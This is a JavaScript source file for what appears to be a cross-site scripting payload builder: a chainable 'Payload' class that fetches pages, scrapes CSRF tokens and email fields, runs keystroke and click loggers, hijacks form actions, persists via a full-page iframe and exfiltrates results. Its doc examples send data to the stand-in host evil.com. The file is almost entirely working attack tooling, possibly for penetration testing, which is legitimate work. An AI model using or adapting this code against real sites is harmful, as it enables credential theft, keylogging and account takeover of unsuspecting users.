import { repr, escapeRegExp, isCallable } from "./utils.js"
/**
* A payload object
* @param {Payload} [parent=null] Parent payload
* @param {function} [render=null] Render function for the payload
* @class
*/
class Payload {
/**
*
* Used internally<br>
* Use [Payload.new()]{@link Payload.new} instead.
*
* @param {Payload} parent The parent wrapper
* @param {function} render The actual render function
*/
constructor(parent = null, render = null) {
this.parent = parent
this.render = render ? render : x => x
}
/**
* Return a new [Payload]{@link Payload} object.
* @graph ($current) {} -> $Payload
* @returns {Payload}
*/
static new() {
return new Payload()
}
_bind(f, args) {
const func = typeof f === "string" ? Function(f) : f
const funcStr = func.toString()
const params = args.length ? args.map(a => repr(a)).join(",") + `,_` : "_"
return `(await(${funcStr})(${params}))`
}
_asyncBind(f, args) {
const func = typeof f === "string" ? Function(f) : f
const funcStr = func.toString()
const params = args.length ? args.map(a => repr(a)).join(",") + `,_` : "_"
return `((${funcStr})(${params}))`
}
/**
* This add a function to eval to the payload,
* the function take the value in the pipe as an argument named _
* the value returned by the function is then passed in the pipe
* @param {string|function|Payload} code_or_func to eval on the target,
* if code_or_func is a function, then is converted to string.
* @param {...any} args arguments to bind to the function
* @graph $Payload -> {Any} ($current) {Any} -> $Payload
* @example
* const p = Payload.new()
* .eval(()=>42) # pipe value set to 42
* .eval(x=>alert(x)) # alert 42
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
eval(code_or_func, ...args) {
const funcCode = this._bind(code_or_func, args)
return new Payload(this, code => {
if (code) {
return `async(_)=>(${code})${funcCode}`
}
return `async(_)=>${funcCode}`
})
}
/**
* This add a function to eval to the payload,
* the function take the value in the pipe as an argument named _
* the value return by the function is ignored, the previous value on pipe
* is keeped.
* @public
* @param {string|function|Payload} code_or_func to eval on the target,
* if code_or_func is a function, then is converted to string.
* @param {...any} args arguments to bind to the function
* @graph $Payload -> {Any} ($current) -> $Payload
* @example
* const p = Payload.new()
* .eval(()=>42) # pipe value set to 42
* .passthru(v=>console.log(v)) # log the value of the pipe
* .exfiltrate() # 42
*
* eval(p.run())
* @graphStep skip
* @returns {Payload} The new payload object in the chain.
*/
passthru(code_or_func, ...args) {
const funcCode = this._bind(code_or_func, args)
return new Payload(this, code => {
if (code) {
return `async(_)=>(${code})([${funcCode},_][1])`
}
return `async(_)=>[${funcCode},_][1]`
})
}
asyncEval(code_or_func, ...args) {
const funcCode = this._asyncBind(code_or_func, args)
return new Payload(this, code => {
if (code) {
return `async(_)=>(${code})([${funcCode},_][1])`
}
return `async(_)=>[${funcCode},_][1]`
})
}
/**
* This add multiple payload to eval simultaneously with the current pipe value.
* @param {...(Payload|Function)} payloads Payloads to run simultaneously,
* @graph $Payload -> {Any} ($current)[payload-1,payload-2,payload-3]* {[Any]} -> $Payload
* @example
* const p = Payload.new()
* .parallel(
* Payload.new().fetchDOM("/"),
* Payload.new().fetchDOM("/api")
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
parallel(...payloads) {
return this.eval(async (funcs, x) => {
const results = await Promise.allSettled(funcs.map(f => f(x)))
return results.map(p => (p.status == 'fulfilled' ? p.value : p.reason))
}, payloads)
}
/**
* Take an array from the pipe an call the payload for each element, all calls are made simultaneously.<br>
* <br>
* Each payload take an element from the array as an argument
* @graph $Payload -> {[Any]} ($current)[payload,payload,payload]* {[Any]} -> $Payload
* @param {Payload|Function} payload to run for each elements of the pipe value,
* @example
* const p = Payload.new()
* .fetchDOM("/")
* .querySelectorAll("a", "href")
* .map(
* Payload.new().fetchText()
* )
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
map(payload) {
return this.eval(async (f, x) => {
const results = await Promise.allSettled(x.map(x => f(x)))
return results.map(p => (p.status == 'fulfilled' ? p.value : p.reason))
}, payload)
}
/**
* Take an array from the pipe an call the payload for each element, all calls are made simultaneously.<br>
* <br>
* Each payload take an element from the array as an argument<br>
*
* @graph $Payload -> {[Any]} ($current)[payload,payload,payload]* -> $Payload
* @param {Payload|Function} payload to run for each elements of the pipe value,
* @example
* const p = Payload.new()
* .fetchDOM("/")
* .querySelectorAll("a", "href")
* .forEach(
* Payload.new().fetchText()
* )
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
forEach(payload) {
return this.passthru(async (f, x) => {
const results = await Promise.allSettled(x.map(x => f(x)))
results.map(p => (p.status == 'fulfilled' ? p.value : p.reason))
return results.map(p => (p.status == 'fulfilled' ? p.value : p.reason))
}, payload)
}
/**
* Ensure that the payload will only be run once, usefull when the vulnerable parameter is reflected multiple time.
*
* @graph $Payload -> ($current) -> $Payload
* @example
* const p = Payload.new()
* .guard()
* .eval(x => alert(x))
*
* eval(p.run()) # call alert()
* eval(p.run()) # raise Guard error
*
* @returns {Payload} The new payload object in the chain.
*/
guard() {
const guard = Math.floor(Math.random() * 1000000).toString(16)
return this.passthru((guard) => {
if (window.__guard == guard) {
throw Error("Guard")
}
window.__guard = guard
}, guard)
}
/**
* Set the exfiltrator to use when {@link exfiltrate} is called.
* @graph $Payload -> ($current) -> $Payload
* @param {Payload|function} exfiltrator exfiltrator to use.
* exfiltrator is a function that take the data to exfiltrate and do something with it.
* @example
* const p new Payload()
* .setExfiltrator(x => fetch('https://evil.com/?' + x))
* .eval(x=>42)
* .exfiltrate()
*
* eval(p.run())
* @example
* const p new Payload()
* .setExfiltrator(exfiltrators.message())
* .eval(x=>42)
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
setExfiltrator(exfiltrator) {
return this.passthru(f => (this.__exfiltrator = [f]), exfiltrator)
}
/**
* Add an exfiltrator to use when {@link exfiltrate} is called.
* @graph $Payload -> ($current) -> $Payload
* @param {function|Payload} exfiltrator exfiltrator to use.
* exfiltrator is a function that take the data to exfiltrate and do something with it.
* @example
* const p new Payload()
* .addExfiltrator(x => fetch('https://evil.com/?' + x))
* .addExfiltrator(exfiltrators.message())
* .eval(x=>42)
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
addExfiltrator(exfiltrator) {
return this.passthru(f => (this.__exfiltrator = this.__exfiltrator ? this.__exfiltrator.concat(f) : [f]), exfiltrator)
}
/**
* Exfiltrate the current pipe value.
* @graph $Payload -> {Any} ($current) -> $Payload
* @example
* const p new Payload()
* .addExfiltrator(exfiltrators.message())
* .eval(x=>42)
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
exfiltrate(s = null) {
if (s != null) {
return this.passthru(data => (this.__exfiltrator || []).forEach(e => e(data)), s)
}
return this.passthru(data => (this.__exfiltrator || []).forEach(e => e(data)))
}
/**
* Wait before contiuing the execution.
* @graph $Payload -> {int} ($current) -> $Payload
* @param {number|Payload|function} ms Time to wait in ms.
* @example
* const p new Payload()
* .fetch("/sendMail") # Long operation that continue after the response
* .wait(4000) # wait for 4s
* .fetchText("/readMail")
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
wait(ms = null) {
if (isCallable(ms)) {
return this.passthru(async (f, x) => {
const ms = await f(x)
return new Promise(r => window.setTimeout(r, ms))
}, ms)
}
if (ms === null) {
this.passthru(ms => new Promise(r => window.setTimeout(r, ms)))
}
return this.passthru(ms => new Promise(r => window.setTimeout(r, ms)), ms)
}
/**
* Fetch the supplied url, the response is then passed in the pipe. <br>
* <br>
* Most of the time [fetchText]{@link Payload#fetchText}, [fetchDOM]{@link Payload#fetchDOM}, [fetchJSON]{@link Payload#fetchJSON} are what yout need
* @param {string|function|Payload} url_or_func URL to fetch or function that return either an url or an array of [url, options] to pass to fetch .
* @param {object} [options={}] Options passed to fetch (ignored if url_or_func is a function).
* @graph $Payload -> {String | [String, Object]} ($current) {Response} -> $Payload
* @example
* const p new Payload()
* .fetch("/")
* .eval(r=>r.status)
* .exfiltrate()
*
* eval(p.run())
* @example
* const p new Payload()
* eval(()=> {
* return [window.API_URL, {headers: {"X-CSRF-TOKEN": window.TOKEN}}]
* })
* .fetch()
* .eval(r=>r.status)
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
fetch(url_or_func, options = {}) {
if (isCallable(url_or_func)) {
return this.eval(async (f, x) => {
const r = await f(x)
return Array.isArray(r) ? fetch(...r) : fetch(r)
}, url_or_func)
} else if (url_or_func !== undefined) {
return this.eval((url, opt) => fetch(url, opt), url_or_func, options)
} else {
return this.eval((url) => Array.isArray(url) ? fetch(...url) : fetch(url))
}
}
/**
* Fetch the supplied url, the response text is then passed in the pipe.
*
* @param {string|function|Payload} url_or_func URL to fetch or function that return either an url or an array of [url, options] to pass to fetch .
* @param {object} [options={}] Options passed to fetch (ignored if url_or_func is a function).
* @graph $Payload -> {String | [String, Object]} ($current) {String} -> $Payload
* @example
* const p new = Payload()
* .fetchText("/")
* .exfiltrate()
*
* eval(p.run())
* @example
* const p new = Payload()
* .eval(()=> {
* return [window.API_URL, {headers: {"X-CSRF-TOKEN": window.TOKEN}}]
* })
* .fetchText()
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
fetchText(url_or_func, options = {}) {
return this.fetch(url_or_func, options).eval(r => r.text())
}
/**
* Fetch the supplied url, the response text is parsed as html and passed in the pipe.
*
* @param {string|function|Payload} url_or_func URL to fetch or function that return either an url or an array of [url, options] to pass to fetch .
* @param {object} [options={}] Options passed to fetch (ignored if url_or_func is a function).
* @graph $Payload -> {String | [String, Object]} ($current) {Document} -> $Payload
* @example
* const p = Payload.new()
* .fetchDOM("/")
* .querySelector("title", "innerText")
* .exfiltrate()
*
* eval(p.run())
* @example
* const p = Payload.new()
* .eval(()=> {
* return [window.API_URL, {headers: {"X-CSRF-TOKEN": window.TOKEN}}]
* })
* .fetchDOM()
* .querySelector("title", "innerText")
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
fetchDOM(url_or_func, options = {}) {
return this.fetchText(url_or_func, options).asDOM()
}
/**
* Fetch the supplied url, the response text is parsed as json and passed in the pipe.
*
* @graph $Payload -> {String | [String, Object]} ($current) {Any} -> $Payload
* @param {function|Payload|string} url_or_func URL to fetch or function that return either an url or an array of [url, options] to pass to fetch .
* @param {object} [options={}] Options passed to fetch (ignored if url_or_func is a function).
* @example
* const p = Payload.new()
* .fetchJSON("/") # return a json object
* .eval(obj => obj.msg)
* .exfiltrate()
*
* eval(p.run())
* @example
* const p = Payload.new()
* .eval(()=> {
* return [window.API_URL, {headers: {"X-CSRF-TOKEN": window.TOKEN}}]
* })
* .fetchJSON()
* .eval(obj => obj.msg)
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
fetchJSON(url_or_func, options = {}) {
return this.fetch(url_or_func, options).eval(r => r.json())
}
/**
* Take the pipe value, parse it as html or xml and set the result as the pipe value.
*
* @param {string}[lang="text/html"] Language to use for the parser,
* @graph $Payload -> {String} ($current) {Document} -> $Payload
* @example
* const p = Payload.new()
* .fetchText("/")
* .asDOM()
* .querySelector("title", "innerText")
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
asDOM(lang = "text/html") {
return this.eval((lang, s) => new DOMParser().parseFromString(s, lang), lang)
}
/**
* Take the pipe value and search for the first element matching the selector, the element is then set as the pipe value.
* If attr is passed to the function, only the corresponding attribute is passed in the pipe
*
* @param {string} selector_or_func CSS selector,
* @param {string} [attr=null] Attribute
* @graph $Payload -> {Document} ($current) {HTMLElement | Any} -> $Payload
* @example
* const p = Payload.new() # by default the pipe value is set to window.document
* .querySelector('title') # get the title element
* .passthru(el => el.innerText = 'New title') # change the title
*
* eval(p.run())
* @example
* const p = Payload.new()
* .fetchDOM("/user/me")
* .querySelector('input[name=email]', 'value')
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
querySelector(selector_or_func, attr = null) {
if (isCallable(selector_or_func)) {
return this.eval(async (f, x) => {
const r = await f(x)
if (Array.isArray(r)) {
const el = x.querySelector(r[0])
return r.length > 1 ? el[r[1]] : el
} else {
return x.querySelector(r)
}
}, selector_or_func)
}
const p = this.eval((selector, html) => html.querySelector(selector), selector_or_func)
if (attr === null) {
return p
}
return p.eval((attr, x) => x[attr], attr)
}
/**
* Take the pipe value and search for all elements matching the selector, an array of elements is then set as the pipe value.
* If attr is passed to the function, only the corresponding attribute is passed in the pipe
*
* @param {string} selector_or_func CSS selector,
* @param {string} [attr=null] Attribute
* @graph $Payload -> {Document} ($current) {[HTMLElement] | [Any]} -> $Payload
* @example
* const p = Payload.new() # by default the pipe value is set to window.document
* .querySelectorAll('form') # get all the forms
* .passthru(els => {
* els.forEach(el => el.action = '//evil.com') # change the form destination
* })
*
* eval(p.run())
* @example
* const p = Payload.new()
* .fetchDOM("/")
* .querySelectorAll('a', 'href') # Get all the link present on the page
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
querySelectorAll(selector_or_func, attr = null) {
if (isCallable(selector_or_func)) {
return this.eval(async (f, x) => {
const r = await f(x)
if (Array.isArray(r)) {
const els = Array.from(x.querySelectorAll(r[0]))
return r.length > 1 ? els.map(e => e[r[1]]) : els
} else {
return Array.from(x.querySelectorAll(r))
}
}, selector_or_func)
}
const p = this.eval((selector, html) => Array.from(html.querySelectorAll(selector)), selector_or_func)
if (attr === null) {
return p
}
return p.eval((attr, x) => x.map(el => el[attr]), attr)
}
/**
* Take the pipe value as a string an perform a regex search on it, the first matched group is return in the pipe
*
* @param {string} reg_or_func Regex
* @param {string} [flags=""] Flags for the regex [gimsuy]
* @graph $Payload -> {String} ($current) {String | null} -> $Payload
* @example
* const p = Payload.new()
* .fetchText("/")
* .regExtract('token=([a-f0-9]+)')
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
regExtract(reg_or_func, flags = "") {
if (isCallable(reg_or_func)) {
return this.eval(async (f, s) => {
const r = await f(s)
const [reg, flags] = Array.isArray(r) ? r : [r, ""]
const match = new RegExp(reg, flags).exec(s)
return match ? match[1] : null
}, reg_or_func)
}
return this.eval((reg, flags, s) => {
const match = new RegExp(reg, flags).exec(s)
return match ? match[1] : null
}, reg_or_func, flags)
}
/**
* Take the pipe value as a string an search for a string present between to needle, the match is return in the pipe
*
* @param {string} before String present before the targeted text
* @param {string} after String present after the targeted text
* @graph $Payload -> {String} ($current) {String | null} -> $Payload
* @example
* const p = Payload.new()
* .fetchText("/")
* .findBetween('<title>', '</title>')
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
findBetween(before, after) {
if (isCallable(before)) {
return this.eval(async (e, f, s) => {
const [b, a] = await f(s)
const match = new RegExp(`${e(b)}(.*?)${e(a)}`, "ms").exec(s)
return match ? match[1] : null
}, escapeRegExp, before)
}
return this.regExtract(`${escapeRegExp(before)}(.*?)${escapeRegExp(after)}`, "ms")
}
/**
* Start a key logger, each keystroke will be exfiltrated via the exfiltrators.<br>
* <br>
* The pipe value is not modified.
* @param {function} [f=null] User defined function to call instead of exfiltrating
* @graph $Payload -> ($current) -> $Payload
* @example
* const p = Payload.new()
* .setExfiltrator(exfiltrator.get('//evil.com'))
* .startKeyLogger()
*
* eval(p.run())
* @example
* const p = Payload.new()
* .setExfiltrator(ev => console.log(ev.target))
* .startKeyLogger()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
startKeyLogger(f = null) {
const keyLogger = ({ key }) => {
this.__exfiltrator.forEach(e => e({ key }))
}
return this.passthru((f) => window.addEventListener("keydown", this.__keyLogger = f), f || keyLogger)
}
/**
* Start a click logger, each click position and targeted element will be exfiltrated via the exfiltrators.<br>
* <br>
* The pipe value is not modified.
* @param {function} [f=null] User defined function to call instead of exfiltrating
* @graph $Payload -> ($current) -> $Payload
* @example
* const p = Payload.new()
* .setExfiltrator(exfiltrator.get('//evil.com'))
* .startClickLogger()
*
* eval(p.run())
* @example
* const p = Payload.new()
* .setExfiltrator(ev => console.log(ev.target))
* .startClickLogger()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
startClickLogger(f = null) {
const clickLogger = ({ buttons, clientX: x, clientY: y, target: { outerHTML: target } }) => {
this.__exfiltrator.forEach(e => e({ buttons, x, y, target }))
}
return this.passthru((f) => {
window.addEventListener("click", this.__clickLogger = f)
}, f || clickLogger)
}
/**
* Read the pipe value as css and inject a style element on the page.<br>
* <br>
* The pipe value is not modified.
* @param {string|function|Payload} [style_or_func=null]
* If style_or_func is a string, then value will be used instead of the pipe value.<br>
* If style_or_func is a function, then return value will be used instead of the pipe value.<br>
* @graph $Payload -> ($current) -> $Payload
* @example
* const p = Payload.new()
* .eval(() => 'body{background:red}')
* .injectStyle()
*
* return eval(p.run())
* @example
* const p = Payload.new()
* .injectStyle('body{background:red}')
*
* return eval(p.run())
* @example
* const p = Payload.new()
* .eval(() => 'red')
* .injectStyle(color => `body{background:${color}}`)
*
* return eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
injectStyle(style_or_func = null) {
if (isCallable(style_or_func)) {
return this.passthru(async (f, x) => {
const el = document.createElement("style")
el.innerText = await f(x)
document.body.appendChild(el)
}, style_or_func)
} else if (style_or_func !== null) {
return this.passthru(s => {
const el = document.createElement("style")
el.innerText = s
document.body.appendChild(el)
}, style_or_func)
} else {
return this.passthru(s => {
const el = document.createElement("style")
el.innerText = s
document.body.appendChild(el)
})
}
}
/**
*
* @param {*} callback
*/
postMultipart(url, data, opt = {}) {
if (isCallable(url)) {
return this.eval((f, x) => {
const [url, data, opt] = f(x)
const fd = new FormData();
for (const [key, value] of Object.entries(data)) {
fd.append(key, value)
}
return fetch(url, { ...opt, ...{ method: "POST", body: fd } })
}, url)
} else {
return this.eval((url, opt, data) => {
const fd = new FormData();
for (const [key, value] of Object.entries(data)) {
fd.append(key, value)
}
return fetch(url, { ...opt, ...{ method: "POST", body: fd } })
}, url, data, opt)
}
}
postUrlEncoded(url, data, opt = {}) {
if (isCallable(url)) {
return this.eval((f, x) => {
const [url, data, opt] = f(x)
const fd = new URLSearchParams();
for (const [key, value] of Object.entries(data)) {
fd.append(key, value)
}
return fetch(url, { ...opt, method: "POST", body: fd })
}, url)
} else {
return this.eval((url, data, opt) => {
const fd = new URLSearchParams();
for (const [key, value] of Object.entries(data)) {
fd.append(key, value)
}
return fetch(url, { ...opt, method: "POST", body: fd })
}, url, data, opt)
}
}
/**
* Try to make the payload persistant by wrapping the content in a frame.<br>
* @graph $Payload -> ($current) -> $Payload
* @param {Function|Payload} [callback=null] called each time the frame load, with the current document
* @example
* const p = Payload.new()
* .persist(
* Payload.new().eval(d=>d.location).exfiltrate()
* )
*
* return eval(p.run())
* @returns {Payload} The new payload object in the chain.
*
*/
persist(callback = null) {
return this.passthru((callback) => {
const f = document.createElement("iframe")
Object.assign(f.style, {
display: "block",
position: "absolute",
top: "0px",
let: "0px",
width: "100vw",
height: "100vh",
border: "none",
})
f.addEventListener("load", ev => {
window.history.replaceState({}, '', f.contentWindow.location.href);
f.contentWindow.addEventListener("click", this.__clickLogger)
f.contentWindow.addEventListener("keydown", this.__keyLogger)
f.contentWindow.addEventListener("unload", () => {
let target = f.contentDocument.activeElement
setTimeout(() => {
try {
"" + f.contentWindow.location.href;
} catch {
location.href = target.href
}
}, 0);
})
callback(f.contentWindow.document)
})
f.src = "/"
document.documentElement.innerHTML = ""
document.documentElement.appendChild(f)
}, callback || (x => x))
}
spider(path, depth = 1, callback = null) {
return this.eval(async (href, depth, callback) => {
const visited = new Map()
const getLinks = (html => {
const d = new DOMParser().parseFromString(html, "text/html")
const links = Array.from(d.querySelectorAll("a")).map(a => a.href)
return links.filter(a => !visited.has(a))
})
const spider = async (path, depth) => {
const html = await fetch(path, { mode: "same-origin", cache: "only-if-cached" }).then(r => r.text()).catch(() => null)
visited.set(path, html)
callback(path, html)
if (html === null) return
const links = getLinks(html)
if (depth == 0) return
return await Promise.all(links.map(l => spider(l, depth - 1)))
}
await spider(Object.assign(document.createElement("a"), { href }).href, depth)
return Array.from(visited.entries())
}, path, depth, callback || (_ => _))
}
/**
* Read the pipe value and send it to a frame using postMessage<br>
* <br>
* The pipe value is not modified.
* @param {string} [name="top"] Name of the targeted frame
* @param {string} [target="*"] Target for the message
* @graph $Payload -> {Any} ($current) -> $Payload
* @returns {Payload} The new payload object in the chain.
*/
postMessage(name = "top", target = "*") {
return this.passthru((name, target, msg) => window.frames[name].postMessage(msg, target), name, target)
}
/**
* Log the pipe value in the console, used for debugging purpose <br>
* <br>
* The pipe value is not modified.
* @graph $Payload -> {Any} ($current) -> $Payload
* @example
* const p = Payload.new()
* .fetchDOM("/")
* .log()
* .querySelector("title", "innerText")
* .log()
* .exfiltrate()
*
* eval(p.run())
* @returns {Payload} The new payload object in the chain.
*/
log() {
return this.passthru(x => console.log(x))
}
/**
* Redirect the user to a new url
* @param {*} url
* @returns {Payload} The new payload object in the chain.
*/
redirect(url) {
return this.passthru((url) => window.location = url, url)
}
compile(code = null) {
if (this.parent) {
return this.parent.compile(this.render(code))
}
return this.render(code || "_=>_")
}
toString() {
return this.compile() || ""
}
bindRun(bind = null, ...args) {
return `(function(){return (${this.compile()})(${args.join(",")})}).bind(${bind})()`
}
run() {
return this.bindRun("{}", "window.document")
}
}
export default Payload;